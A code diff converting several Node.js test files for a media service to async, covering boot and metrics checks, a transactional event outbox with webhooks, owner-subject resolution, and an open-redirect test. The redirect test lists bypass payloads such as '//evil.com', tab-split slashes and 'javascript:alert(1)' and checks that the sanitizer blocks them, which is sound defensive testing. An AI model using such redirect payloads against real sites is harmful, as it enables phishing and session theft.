- const env = { ...process.env, ...ENV, DB_PATH: path.join(bootDir, 'media.db'), PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test' };
- for (const k of ['VOD_PATH', 'CLIPS_PATH', 'PASTES_PATH', 'THUMBNAILS_PATH', 'FILES_PATH', 'OBJECTS_PATH', 'ASSETS_PATH']) env[k] = path.join(bootDir, k.toLowerCase());
- const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });
- let log = ''; child.stdout.on('data', (d) => { log += d; }); child.stderr.on('data', (d) => { log += d; });
- const b2 = `http://127.0.0.1:${port}`;
- let up = null;
- for (let i = 0; i < 100 && !up; i++) {
- await new Promise((res) => setTimeout(res, 100));
- try { up = await request(b2, '/api/ready'); } catch { /* not listening yet */ }
- }
- try {
- assert.ok(up, `server did not start:\n${log}`);
- body = JSON.parse(up.body);
- assert.strictEqual(up.status, 200, up.body);
- assert.strictEqual(body.release, 'abcdef123456');
- assert.ok(body.checks.db && body.checks.storage_objects);
- assert.strictEqual(body.checks.remote_b2.status, 'skipped', 'an unconfigured tier is not probed: skipped, never ok');
- const m = await request(b2, '/metrics');
- assert.strictEqual(m.status, 200);
- assert.ok(m.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"} 1\n'), m.body.slice(0, 400));
- const h = await request(b2, '/healthz');
- assert.strictEqual(h.status, 200, '/healthz still answers');
- // An unknown path is index.js's last handler (server/not-found.js): a 404 whose CSP lets Cloudflare's beacon run.
- const nf = await new Promise((resolve, reject) => http.get(`${b2}/__ovcheck-404`, { headers: { accept: 'text/html' } }, (res) => {
- let b = ''; res.on('data', (d) => { b += d; }); res.on('end', () => resolve({ status: res.statusCode, csp: res.headers['content-security-policy'], body: b }));
- }).on('error', reject));
- assert.deepStrictEqual([nf.status, nf.csp], [404, require('../server/not-found').CSP]);
- assert.ok(nf.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'));
- // The release manifest (registry.release-manifest@1) names where open tabs report updates,
- // and those reports land in /metrics.
- const rel = await request(b2, '/release.json');
- assert.strictEqual(rel.status, 200);
- const manifest = JSON.parse(rel.body);
- assert.strictEqual(manifest.service, 'media');
- assert.strictEqual(manifest.release, 'abcdef123456');
- assert.deepStrictEqual(require('openvibe-contracts').validate('registry.release-manifest@1', manifest).errors, []);
- assert.strictEqual(manifest.metrics_url, '/release-metrics');
- const report = await new Promise((resolve, reject) => {
- const req = http.request(`${b2}/release-metrics`, { method: 'POST', headers: { 'Content-Type': 'text/plain' } }, (res) => { res.resume(); res.on('end', () => resolve(res.statusCode)); });
- req.on('error', reject);
- req.end(JSON.stringify({ counts: { reloaded: { user: 2 }, deferred: { typing: 1 } } }));
- });
- assert.strictEqual(report, 204);
- const m2 = await request(b2, '/metrics');
- assert.ok(m2.body.includes('release_client_updates_total{outcome="reloaded",reason="user"} 2\n'), m2.body.slice(0, 400));
- assert.ok(m2.body.includes('release_client_updates_total{outcome="deferred",reason="typing"} 1\n'));
- } finally {
- child.kill('SIGKILL');
- }
- console.log('observability: all checks passed');
- process.exit(0);
+ // ── The real index.js boots with both routes ──
+ const port = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
+ const bootDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-boot-'));
+ const env = { ...process.env, ...ENV, DB_PATH: path.join(bootDir, 'media.db'), MEDIA_PGLITE_DIR: path.join(bootDir, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test' };
+ for (const k of ['VOD_PATH', 'CLIPS_PATH', 'PASTES_PATH', 'THUMBNAILS_PATH', 'FILES_PATH', 'OBJECTS_PATH', 'ASSETS_PATH']) env[k] = path.join(bootDir, k.toLowerCase());
+ const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });
+ let log = ''; child.stdout.on('data', (d) => { log += d; }); child.stderr.on('data', (d) => { log += d; });
+ const b2 = `http://127.0.0.1:${port}`;
+ let up = null;
+ for (let i = 0; i < 100 && !up; i++) {
+ await new Promise((res) => setTimeout(res, 100));
+ try { up = await request(b2, '/api/ready'); } catch { /* not listening yet */ }
+ }
+ try {
+ assert.ok(up, `server did not start:\n${log}`);
+ body = JSON.parse(up.body);
+ assert.strictEqual(up.status, 200, up.body);
+ assert.strictEqual(body.release, 'abcdef123456');
+ assert.ok(body.checks.db && body.checks.storage_objects);
+ assert.strictEqual(body.checks.remote_b2.status, 'skipped', 'an unconfigured tier is not probed: skipped, never ok');
+ const m = await request(b2, '/metrics');
+ assert.strictEqual(m.status, 200);
+ assert.ok(m.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"} 1\n'), m.body.slice(0, 400));
+ const h = await request(b2, '/healthz');
+ assert.strictEqual(h.status, 200, '/healthz still answers');
+ // An unknown path is index.js's last handler (server/not-found.js): a 404 whose CSP lets Cloudflare's beacon run.
+ const nf = await new Promise((resolve, reject) => http.get(`${b2}/__ovcheck-404`, { headers: { accept: 'text/html' } }, (res) => {
+ let b = ''; res.on('data', (d) => { b += d; }); res.on('end', () => resolve({ status: res.statusCode, csp: res.headers['content-security-policy'], body: b }));
+ }).on('error', reject));
+ assert.deepStrictEqual([nf.status, nf.csp], [404, require('../server/not-found').CSP]);
+ assert.ok(nf.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'));
+ // The release manifest (registry.release-manifest@1) names where open tabs report updates,
+ // and those reports land in /metrics.
+ const rel = await request(b2, '/release.json');
+ assert.strictEqual(rel.status, 200);
+ const manifest = JSON.parse(rel.body);
+ assert.strictEqual(manifest.service, 'media');
+ assert.strictEqual(manifest.release, 'abcdef123456');
+ assert.deepStrictEqual(require('openvibe-contracts').validate('registry.release-manifest@1', manifest).errors, []);
+ assert.strictEqual(manifest.metrics_url, '/release-metrics');
+ const report = await new Promise((resolve, reject) => {
+ const req = http.request(`${b2}/release-metrics`, { method: 'POST', headers: { 'Content-Type': 'text/plain' } }, (res) => { res.resume(); res.on('end', () => resolve(res.statusCode)); });
+ req.on('error', reject);
+ req.end(JSON.stringify({ counts: { reloaded: { user: 2 }, deferred: { typing: 1 } } }));
+ });
+ assert.strictEqual(report, 204);
+ const m2 = await request(b2, '/metrics');
+ assert.ok(m2.body.includes('release_client_updates_total{outcome="reloaded",reason="user"} 2\n'), m2.body.slice(0, 400));
+ assert.ok(m2.body.includes('release_client_updates_total{outcome="deferred",reason="typing"} 1\n'));
+ } finally {
+ child.kill('SIGKILL');
+ }
+ console.log('observability: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -3,18 +3,20 @@
@@ -3,18 +3,20 @@
// newline characters from a URL and read a backslash as "/", so "/<TAB>/evil.com" is "//evil.com" to them;
// newline characters from a URL and read a backslash as "/", so "/<TAB>/evil.com" is "//evil.com" to them;
// until 2026-09-26 it got through here.
// until 2026-09-26 it got through here.
const assert = require('assert');
const assert = require('assert');
-const { sanitizeNext } = require('../server/user-auth');
+(async () => {
+ const { sanitizeNext } = require('../server/user-auth');
-const config = { baseUrl: 'https://site.openvibe.test', networkUrl: 'https://openvibe.network' };
-const home = (v) => {
- const out = String(sanitizeNext(v, config));
- const host = new URL(out.replace(/[\t\n\r]/g, ''), 'https://site.openvibe.test').host;
- return host === 'site.openvibe.test' || host === 'openvibe.network';
-};
-for (const v of ['//evil.com', '/\\evil.com', '\\\\evil.com', 'https://evil.com', 'http:evil.com', '/\t/evil.com', '/\n/evil.com', '\t//evil.com',
- ' //evil.com', '/\\/evil.com', 'https:/\\evil.com', '///evil.com', 'javascript:alert(1)', '/%09/evil.com']) {
- assert.ok(home(v), `${JSON.stringify(v)} stays on the site (got ${JSON.stringify(sanitizeNext(v, config))})`);
- assert.ok(!/^\s*javascript:/i.test(String(sanitizeNext(v, config))), JSON.stringify(v));
-}
-assert.strictEqual(sanitizeNext('/settings?tab=a', config), '/settings?tab=a', 'a plain relative path is kept');
-console.log('open redirect: all checks passed');
+ const config = { baseUrl: 'https://site.openvibe.test', networkUrl: 'https://openvibe.network' };
+ const home = (v) => {
+ const out = String(sanitizeNext(v, config));
+ const host = new URL(out.replace(/[\t\n\r]/g, ''), 'https://site.openvibe.test').host;
+ return host === 'site.openvibe.test' || host === 'openvibe.network';
+ };
+ for (const v of ['//evil.com', '/\\evil.com', '\\\\evil.com', 'https://evil.com', 'http:evil.com', '/\t/evil.com', '/\n/evil.com', '\t//evil.com',
+ ' //evil.com', '/\\/evil.com', 'https:/\\evil.com', '///evil.com', 'javascript:alert(1)', '/%09/evil.com']) {
+ assert.ok(home(v), `${JSON.stringify(v)} stays on the site (got ${JSON.stringify(sanitizeNext(v, config))})`);
+ assert.ok(!/^\s*javascript:/i.test(String(sanitizeNext(v, config))), JSON.stringify(v));
+ }
+ assert.strictEqual(sanitizeNext('/settings?tab=a', config), '/settings?tab=a', 'a plain relative path is kept');
+ console.log('open redirect: all checks passed');
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,145 +12,148 @@ const path = require('path');
@@ -12,145 +12,148 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-outbox-tx-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-outbox-tx-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
-const hooks = [];
-const stub = http.createServer((req, res) => {
- let body = '';
- req.on('data', (c) => { body += c; });
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- if (req.url === '/api/v1/events') {
- const parsed = JSON.parse(body);
- const list = parsed.events || [parsed];
- const results = list.map((e, i) => ({ event_id: e.event_id, seq: i + 1, duplicate: false }));
- return res.end(JSON.stringify(parsed.events ? { results } : results[0]));
- }
- if (req.url === '/hook') {
- hooks.push({ body, signature: req.headers['x-ovmedia-signature'] });
- return res.end('{"ok":true}');
- }
- res.statusCode = 404; res.end('{}');
+ const hooks = [];
+ const stub = http.createServer((req, res) => {
+ let body = '';
+ req.on('data', (c) => { body += c; });
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ if (req.url === '/api/v1/events') {
+ const parsed = JSON.parse(body);
+ const list = parsed.events || [parsed];
+ const results = list.map((e, i) => ({ event_id: e.event_id, seq: i + 1, duplicate: false }));
+ return res.end(JSON.stringify(parsed.events ? { results } : results[0]));
+ }
+ if (req.url === '/hook') {
+ hooks.push({ body, signature: req.headers['x-ovmedia-signature'] });
+ return res.end('{"ok":true}');
+ }
+ res.statusCode = 404; res.end('{}');
+ });
});
});
-});
-const waitFor = async (fn, ms = 3000) => {
- const end = Date.now() + ms;
- while (Date.now() < end) { if (fn()) return true; await new Promise((r) => setTimeout(r, 20)); }
- return false;
-};
+ const waitFor = async (fn, ms = 3000) => {
+ const end = Date.now() + ms;
+ while (Date.now() < end) { if (fn()) return true; await new Promise((r) => setTimeout(r, 20)); }
+ return false;
+ };
-(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const raw = db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'k', webhook_url: `${base}/hook`, webhook_secret: 'hook-secret' });
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const raw = db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'k', webhook_url: `${base}/hook`, webhook_secret: 'hook-secret' });
- const events = require('../server/events');
- const { announce } = require('../server/webhooks');
- // A long relay interval: the test reads the outbox table, the relay is not under test here.
- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 }));
- const outboxRows = () => raw.prepare('SELECT event_id, envelope FROM event_outbox ORDER BY id').all().map((r) => ({ id: r.event_id, env: JSON.parse(r.envelope) }));
- const failOutboxInserts = (on) => raw.exec(on
- ? "CREATE TEMP TRIGGER outbox_boom BEFORE INSERT ON event_outbox BEGIN SELECT RAISE(ABORT, 'outbox insert failed'); END"
- : 'DROP TRIGGER IF EXISTS temp.outbox_boom');
+ const events = require('../server/events');
+ const { announce } = require('../server/webhooks');
+ // A long relay interval: the test reads the outbox table, the relay is not under test here.
+ const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ assert.ok(outbox);
+ const outboxRows = async () => (await raw.prepare('SELECT event_id, envelope FROM event_outbox ORDER BY id').all()).map((r) => ({ id: r.event_id, env: (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope) }));
+ // The outbox insert fails inside the change's transaction (as a full disk or a constraint would).
+ const realEnqueue = outbox.enqueue;
+ const failOutboxInserts = (on) => { outbox.enqueue = on ? async () => { throw new Error('outbox insert failed'); } : realEnqueue; };
- raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds)
- VALUES (10, 'live', 5, 'Source', ?, 1, 60)`).run(path.join(process.env.VOD_PATH, 'missing.webm'));
- const clipId = Number(db.createClip({ app_id: 'live', vod_id: 10, user_id: 5, channel_user_id: 5, title: 'A clip', file_path: '', start_time: 1, end_time: 5, duration_seconds: 4, status: 'processing' }).lastInsertRowid);
- const { clipPublic } = require('../server/vod/clips-routes');
- const clipStatus = () => raw.prepare('SELECT status FROM clips WHERE id = ?').get(clipId).status;
+ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE
+ VALUES (10, 'live', 5, 'Source', ?, 1, 60) RETURNING id`).run(path.join(process.env.VOD_PATH, 'missing.webm'));
+ const clipId = Number((await db.createClip({ app_id: 'live', vod_id: 10, user_id: 5, channel_user_id: 5, title: 'A clip', file_path: '', start_time: 1, end_time: 5, duration_seconds: 4, status: 'processing' })).lastInsertRowid);
+ const { clipPublic } = require('../server/vod/clips-routes');
+ const clipStatus = async () => (await raw.prepare('SELECT status FROM clips WHERE id = ?').get(clipId)).status;
- // 1. The change and its event commit together; the webhook carries the same event_id.
- const out = announce('live', 'clip.ready', {
- change: () => db.run("UPDATE clips SET status = 'ready' WHERE id = ?", [clipId]),
- payload: () => clipPublic(db.getClipById(clipId)),
- });
- assert.strictEqual(clipStatus(), 'ready');
- let rows = outboxRows();
- assert.strictEqual(rows.length, 1);
- assert.strictEqual(rows[0].env.event_type, 'media.clip.ready');
- assert.deepStrictEqual(rows[0].env.subject, { type: 'clip', id: String(clipId) });
- assert.strictEqual(rows[0].env.payload.status, 'ready', 'payload is the row as committed');
- assert.strictEqual(out.eventId, rows[0].id);
- assert.ok(await waitFor(() => hooks.length === 1), 'webhook sent after the commit');
- const hook = JSON.parse(hooks[0].body);
- assert.strictEqual(hook.event, 'clip.ready');
- assert.strictEqual(hook.event_id, rows[0].id, 'the webhook names the durable event');
- const sig = 'sha256=' + crypto.createHmac('sha256', 'hook-secret').update(hooks[0].body).digest('hex');
- assert.strictEqual(hooks[0].signature, sig, 'the signature covers event_id');
+ // 1. The change and its event commit together; the webhook carries the same event_id.
+ const out = await announce('live', 'clip.ready', {
+ change: async () => await db.run("UPDATE clips SET status = 'ready' WHERE id = ?", [clipId]),
+ payload: async () => await clipPublic(await db.getClipById(clipId)),
+ });
+ assert.strictEqual(await clipStatus(), 'ready');
+ let rows = await outboxRows();
+ assert.strictEqual(rows.length, 1);
+ assert.strictEqual(rows[0].env.event_type, 'media.clip.ready');
+ assert.deepStrictEqual(rows[0].env.subject, { type: 'clip', id: String(clipId) });
+ assert.strictEqual(rows[0].env.payload.status, 'ready', 'payload is the row as committed');
+ assert.strictEqual(out.eventId, rows[0].id);
+ assert.ok(await waitFor(() => hooks.length === 1), 'webhook sent after the commit');
+ const hook = JSON.parse(hooks[0].body);
+ assert.strictEqual(hook.event, 'clip.ready');
+ assert.strictEqual(hook.event_id, rows[0].id, 'the webhook names the durable event');
+ const sig = 'sha256=' + crypto.createHmac('sha256', 'hook-secret').update(hooks[0].body).digest('hex');
+ assert.strictEqual(hooks[0].signature, sig, 'the signature covers event_id');
- // 2. No phantom: a change that fails leaves no event and sends no webhook.
- assert.throws(() => announce('live', 'clip.failed', {
- change: () => { db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]); throw new Error('disk full'); },
- payload: () => clipPublic(db.getClipById(clipId)),
- }), /disk full/);
- assert.strictEqual(clipStatus(), 'ready', 'the change rolled back');
- assert.strictEqual(outboxRows().length, 1, 'no event for a rolled-back change');
+ // 2. No phantom: a change that fails leaves no event and sends no webhook.
+ await assert.rejects(async () => await announce('live', 'clip.failed', {
+ change: async () => { await db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]); throw new Error('disk full'); },
+ payload: async () => await clipPublic(await db.getClipById(clipId)),
+ }), /disk full/);
+ assert.strictEqual(await clipStatus(), 'ready', 'the change rolled back');
+ assert.strictEqual((await outboxRows()).length, 1, 'no event for a rolled-back change');
- // 3. Never lost: an outbox insert that fails rolls the change back with it.
- failOutboxInserts(true);
- assert.throws(() => announce('live', 'clip.failed', {
- change: () => db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]),
- payload: () => clipPublic(db.getClipById(clipId)),
- }), /outbox insert failed/);
- failOutboxInserts(false);
- assert.strictEqual(clipStatus(), 'ready', 'no committed change without its event');
+ // 3. Never lost: an outbox insert that fails rolls the change back with it.
+ failOutboxInserts(true);
+ await assert.rejects(async () => await announce('live', 'clip.failed', {
+ change: async () => await db.run("UPDATE clips SET status = 'failed' WHERE id = ?", [clipId]),
+ payload: async () => await clipPublic(await db.getClipById(clipId)),
+ }), /outbox insert failed/);
+ failOutboxInserts(false);
+ assert.strictEqual(await clipStatus(), 'ready', 'no committed change without its event');
- // 4. Outside a transaction the outbox refuses (nothing can enqueue "after the commit" again).
- assert.throws(() => events.record('clip.ready', 'live', { id: clipId }), /inside the transaction/);
+ // 4. Outside a transaction the outbox refuses (nothing can enqueue "after the commit" again).
+ await assert.rejects(async () => await events.record('clip.ready', 'live', { id: clipId }), /inside the transaction/);
- // 5. Real call site: a re-cut whose source is gone commits status=failed with media.clip.failed.
- const clipJobs = require('../server/vod/clip-jobs');
- db.run("UPDATE clips SET status = 'failed', cut_attempts = 1 WHERE id = ?", [clipId]);
- failOutboxInserts(true);
- await assert.rejects(clipJobs.recutClip(clipId, { reason: 'test' }), /outbox insert failed/);
- failOutboxInserts(false);
- assert.strictEqual(raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId).cut_error, null, 'the failure was not recorded without its event');
- assert.strictEqual(outboxRows().length, 1);
- const r = await clipJobs.recutClip(clipId, { reason: 'test' });
- assert.strictEqual(r.ok, false);
- rows = outboxRows();
- assert.strictEqual(rows.length, 2);
- assert.strictEqual(rows[1].env.event_type, 'media.clip.failed');
- assert.strictEqual(rows[1].env.payload.status, 'failed');
- assert.match(raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId).cut_error, /unavailable/);
+ // 5. Real call site: a re-cut whose source is gone commits status=failed with media.clip.failed.
+ const clipJobs = require('../server/vod/clip-jobs');
+ await db.run("UPDATE clips SET status = 'failed', cut_attempts = 1 WHERE id = ?", [clipId]);
+ failOutboxInserts(true);
+ await assert.rejects(clipJobs.recutClip(clipId, { reason: 'test' }), /outbox insert failed/);
+ failOutboxInserts(false);
+ assert.strictEqual((await raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId)).cut_error, null, 'the failure was not recorded without its event');
+ assert.strictEqual((await outboxRows()).length, 1);
+ const r = await clipJobs.recutClip(clipId, { reason: 'test' });
+ assert.strictEqual(r.ok, false);
+ rows = await outboxRows();
+ assert.strictEqual(rows.length, 2);
+ assert.strictEqual(rows[1].env.event_type, 'media.clip.failed');
+ assert.strictEqual(rows[1].env.payload.status, 'failed');
+ assert.match((await raw.prepare('SELECT cut_error FROM clips WHERE id = ?').get(clipId)).cut_error, /unavailable/);
- // 6. Real call site: finalizing a VOD with no recording file deletes the row and queues
- // media.vod.failed in one transaction; if the event cannot be queued the row stays.
- const { finalizeVod } = require('../server/vod/finalize');
- raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, is_recording)
- VALUES (20, 'live', 5, 'Ghost', ?, 1, 1)`).run(path.join(process.env.VOD_PATH, 'never-written.webm'));
- failOutboxInserts(true);
- await finalizeVod(20);
- failOutboxInserts(false);
- assert.ok(raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'not deleted without its vod.failed event');
- assert.strictEqual(outboxRows().length, 2);
- await finalizeVod(20);
- assert.ok(!raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'deleted');
- rows = outboxRows();
- // The row's object is marked deleted by the row-delete trigger in the same transaction, so its
- // media.object.deleted is queued with media.vod.failed.
- assert.strictEqual(rows.length, 4);
- assert.strictEqual(rows[3].env.event_type, 'media.object.deleted');
- assert.strictEqual(rows[3].env.payload.legacy_ref, 'legacy:live:vod:20');
- assert.strictEqual(rows[2].env.event_type, 'media.vod.failed');
- assert.deepStrictEqual(rows[2].env.subject, { type: 'vod', id: '20' });
- assert.strictEqual(rows[2].env.priority, 'important');
- assert.ok(await waitFor(() => hooks.some((h) => JSON.parse(h.body).event_id === rows[2].id)), 'vod.failed webhook names the event');
+ // 6. Real call site: finalizing a VOD with no recording file deletes the row and queues
+ // media.vod.failed in one transaction; if the event cannot be queued the row stays.
+ const { finalizeVod } = require('../server/vod/finalize');
+ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, is_recording) OVERRIDING SYSTEM VALUE
+ VALUES (20, 'live', 5, 'Ghost', ?, 1, 1) RETURNING id`).run(path.join(process.env.VOD_PATH, 'never-written.webm'));
+ failOutboxInserts(true);
+ await finalizeVod(20);
+ failOutboxInserts(false);
+ assert.ok(await raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'not deleted without its vod.failed event');
+ assert.strictEqual((await outboxRows()).length, 2);
+ await finalizeVod(20);
+ assert.ok(!await raw.prepare('SELECT 1 FROM vods WHERE id = 20').get(), 'deleted');
+ rows = await outboxRows();
+ // The row's object is marked deleted by the row-delete trigger in the same transaction, so its
+ // media.object.deleted is queued with media.vod.failed.
+ assert.strictEqual(rows.length, 4);
+ assert.strictEqual(rows[3].env.event_type, 'media.object.deleted');
+ assert.strictEqual(rows[3].env.payload.legacy_ref, 'legacy:live:vod:20');
+ assert.strictEqual(rows[2].env.event_type, 'media.vod.failed');
+ assert.deepStrictEqual(rows[2].env.subject, { type: 'vod', id: '20' });
+ assert.strictEqual(rows[2].env.priority, 'important');
+ assert.ok(await waitFor(() => hooks.some((h) => JSON.parse(h.body).event_id === rows[2].id)), 'vod.failed webhook names the event');
- events._reset();
- stub.close();
- console.log('✅ media outbox: state change and event commit together (no lost or phantom outcome), webhook carries event_id');
- process.exit(0);
+ events._reset();
+ stub.close();
+ console.log('✅ media outbox: state change and event commit together (no lost or phantom outcome), webhook carries event_id');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,294 +1,189 @@
@@ -1,294 +1,189 @@
'use strict';
'use strict';
-// Owner subjects (server/objects/owner-subject.js, scripts/backfill-owner-subject.js,
-// server/objects/owner-subject-job.js) against an in-process Network stand-in that answers
-// /oauth/token and /internal/identity/resolve-batch like Network does: the dry run changes nothing;
-// --apply takes a verified database backup and writes a rollback file first, then fills only NULLs in
-// batches; an id Network does not know stays NULL; tenants with no source system are left alone;
-// --rollback restores only the rows still as the backfill left them; the service token is preferred
-// and the internal key is the fallback; and new objects get their subject (X-OV-Subject at creation,
-// the reconcile job for everything else), with a re-projection to another owner dropping it.
+// Owner subjects (server/objects/owner-subject.js, server/objects/owner-subject-job.js) against an
+// in-process Network stand-in that answers /oauth/token and /internal/identity/resolve-batch like Network
+// does: the service token is preferred and the internal key is the fallback; and new objects get their
+// subject (X-OV-Subject at creation, the reconcile job for everything else), with a re-projection to
+// another owner dropping it.
const assert = require('assert');
const assert = require('assert');
const fs = require('fs');
const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const { execFile } = require('child_process');
const { ids } = require('openvibe-contracts');
const { ids } = require('openvibe-contracts');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-owner-subject-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const env = {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', MEDIA_SIGNING_SECRET: 'test-signing-secret',
- INTERNAL_API_KEY: 'internal-key-0123456789abcdef', OV_OAUTH_CLIENT_ID: 'media', OV_OAUTH_CLIENT_SECRET: 'media-secret',
-};
-for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_OWNER_SUBJECT_SYNC']) process.env[k] = '';
-Object.assign(process.env, env);
-
-// ── Network stand-in ─────────────────────────────────────────
-const net = {
- grant: true, // does 'media' hold identity.subject.resolve?
- map: new Map(), // 'live:<id>' -> usr_…
- calls: [], // { via, system, n }
- tokens: 0,
- down: false,
-};
-const network = http.createServer((req, res) => {
- let raw = '';
- req.on('data', (c) => { raw += c; });
- req.on('end', () => {
- const send = (status, body) => { res.writeHead(status, { 'content-type': 'application/json' }); res.end(JSON.stringify(body)); };
- if (net.down) return send(503, { error: 'down' });
- if (req.method === 'POST' && req.url === '/oauth/token') {
- const f = new URLSearchParams(raw);
- if (f.get('client_id') !== 'media' || f.get('client_secret') !== 'media-secret') return send(401, { error: 'invalid_client' });
- if (f.get('audience') !== 'openvibe.network' || f.get('scope') !== 'identity.subject.resolve') return send(400, { error: 'invalid_request' });
- if (!net.grant) return send(400, { error: 'invalid_scope', error_description: 'not granted: identity.subject.resolve' });
- net.tokens++;
- return send(200, { access_token: 'svc-media-token', token_type: 'Bearer', expires_in: 300, scope: 'identity.subject.resolve' });
- }
- if (req.method === 'POST' && req.url === '/internal/identity/resolve-batch') {
- const bearer = String(req.headers.authorization || '');
- const via = req.headers['x-internal-key'] === env.INTERNAL_API_KEY ? 'internal-key' : (bearer === 'Bearer svc-media-token' && net.grant ? 'service-token' : null);
- if (!via) return send(403, { error: 'Invalid or missing internal key' });
- const b = JSON.parse(raw || '{}');
- if (!Array.isArray(b.ids) || !b.ids.length || !b.system) return send(400, { code: 'identity.bad_request' });
- if (b.ids.length > 500) return send(413, { code: 'identity.too_many_entries' });
- net.calls.push({ via, system: b.system, type: b.type, n: b.ids.length });
- const results = {};
- for (const id of b.ids) {
- const sid = net.map.get(`${b.system}:${id}`);
- results[String(id)] = sid ? { subject: { type: 'user', id: sid }, network_user_id: 1, username: `u${id}`, legacy_ids: [] } : null;
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-owner-subject-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const env = {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', MEDIA_SIGNING_SECRET: 'test-signing-secret',
+ INTERNAL_API_KEY: 'internal-key-0123456789abcdef', OV_OAUTH_CLIENT_ID: 'media', OV_OAUTH_CLIENT_SECRET: 'media-secret',
+ };
+ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_OWNER_SUBJECT_SYNC']) process.env[k] = '';
